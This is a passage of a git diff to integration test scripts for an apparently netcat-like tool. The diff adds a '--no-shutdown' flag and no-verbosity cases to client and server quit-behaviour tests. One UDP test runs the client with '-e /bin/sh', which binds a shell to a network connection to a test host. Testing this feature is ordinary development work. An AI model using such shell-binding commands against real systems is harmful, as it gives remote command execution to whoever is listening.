"${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/102---udp---client_stays---when_server_is_killed---client_default---after_server_sent_data.sh b/tests/integration/01-behaviour-quit--client/102---udp---client_stays---when_server_is_killed---client_default---after_server_sent_data.sh index 4134a7a9..a28f8b31 100755 --- a/tests/integration/01-behaviour-quit--client/102---udp---client_stays---when_server_is_killed---client_default---after_server_sent_data.sh +++ b/tests/integration/01-behaviour-quit--client/102---udp---client_stays---when_server_is_killed---client_default---after_server_sent_data.sh @@ -159,24 +159,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/103---udp---client_stays---when_server_is_killed---client_command---before_send.sh b/tests/integration/01-behaviour-quit--client/103---udp---client_stays---when_server_is_killed---client_command---before_send.sh index 1373158d..2d0678b4 100755 --- a/tests/integration/01-behaviour-quit--client/103---udp---client_stays---when_server_is_killed---client_command---before_send.sh +++ b/tests/integration/01-behaviour-quit--client/103---udp---client_stays---when_server_is_killed---client_command---before_send.sh @@ -149,24 +149,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv --udp-sconnect --udp-sconnect-word" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -e /bin/sh -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv --udp-sconnect --udp-sconnect-word" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -u -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -e /bin/sh -u -vvvv --udp-sconnect --udp-sconnect-word" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -u -vvvv" "${RHOST} ${RPORT} -4 -e /bin/sh -u -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv --udp-sconnect --udp-sconnect-word" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -4 -u -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -e /bin/sh -u -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -u -vvvv" "${RHOST} ${RPORT} -6 -e /bin/sh -u -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -u -vvvv" "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -6 -u -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown -e /bin/sh -u " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/200---tcp---client_stays---when_valid_http_request.sh b/tests/integration/01-behaviour-quit--client/200---tcp---client_stays---when_valid_http_request.sh index 8ed2cdba..c69acda2 100755 --- a/tests/integration/01-behaviour-quit--client/200---tcp---client_stays---when_valid_http_request.sh +++ b/tests/integration/01-behaviour-quit--client/200---tcp---client_stays---when_valid_http_request.sh @@ -102,9 +102,10 @@ run_test() { # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do - run_test "${RHOST} ${RPORT} -vvvv" "1" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -vvv " "2" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -vv " "3" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -v " "4" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} " "5" "5" "${curr_round}" "${RUNS}" + run_test "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "2" "${curr_round}" "${RUNS}" + run_test "${RHOST} ${RPORT} --no-shutdown " "2" "2" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -vvv " "2" "5" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -vv " "3" "5" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -v " "4" "5" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown " "5" "5" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/01-behaviour-quit--client/201---tcp---client_quites---when_invalid_http_request.sh b/tests/integration/01-behaviour-quit--client/201---tcp---client_quites---when_invalid_http_request.sh index 00eb5f43..15089b09 100755 --- a/tests/integration/01-behaviour-quit--client/201---tcp---client_quites---when_invalid_http_request.sh +++ b/tests/integration/01-behaviour-quit--client/201---tcp---client_quites---when_invalid_http_request.sh @@ -89,9 +89,10 @@ run_test() { # ------------------------------------------------------------------------------------------------- for curr_round in $(seq "${RUNS}"); do - run_test "${RHOST} ${RPORT} -vvvv" "1" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -vvv " "2" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -vv " "3" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} -v " "4" "5" "${curr_round}" "${RUNS}" - #run_test "${RHOST} ${RPORT} " "5" "5" "${curr_round}" "${RUNS}" + run_test "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "2" "${curr_round}" "${RUNS}" + run_test "${RHOST} ${RPORT} --no-shutdown " "2" "2" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -vvv " "2" "5" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -vv " "3" "5" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown -v " "4" "5" "${curr_round}" "${RUNS}" + #run_test "${RHOST} ${RPORT} --no-shutdown " "5" "5" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/000---tcp---server_quits---when_client_is_killed---server_default---before_send.sh b/tests/integration/02-behaviour-quit--server/000---tcp---server_quits---when_client_is_killed---server_default---before_send.sh index fa8e2385..79b6f612 100755 --- a/tests/integration/02-behaviour-quit--server/000---tcp---server_quits---when_client_is_killed---server_default---before_send.sh +++ b/tests/integration/02-behaviour-quit--server/000---tcp---server_quits---when_client_is_killed---server_default---before_send.sh @@ -136,24 +136,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/001---tcp---server_quits---when_client_is_killed---server_default---after_client_sent_data.sh b/tests/integration/02-behaviour-quit--server/001---tcp---server_quits---when_client_is_killed---server_default---after_client_sent_data.sh index 57b740bc..cd272b4d 100755 --- a/tests/integration/02-behaviour-quit--server/001---tcp---server_quits---when_client_is_killed---server_default---after_client_sent_data.sh +++ b/tests/integration/02-behaviour-quit--server/001---tcp---server_quits---when_client_is_killed---server_default---after_client_sent_data.sh @@ -145,24 +145,28 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "2" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "3" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "4" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "5" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "6" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "7" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "8" "16" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "9" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "10" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "11" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "12" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "13" "16" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -vvvv" "14" "16" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "15" "16" "${curr_round}" "${RUNS}" + # no verbosity + run_test "-l ${RHOST} ${RPORT} --no-shutdown " "${RHOST} ${RPORT} --no-shutdown " "16" "16" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/02-behaviour-quit--server/002---tcp---server_quits---when_client_is_killed---server_default---after_server_sent_data.sh b/tests/integration/02-behaviour-quit--server/002---tcp---server_quits---when_client_is_killed---server_default---after_server_sent_data.sh index c24c533d..a2024109 100755 --- a/tests/integration/02-behaviour-quit--server/002---tcp---server_quits---when_client_is_killed---server_default---after_server_sent_data.sh +++ 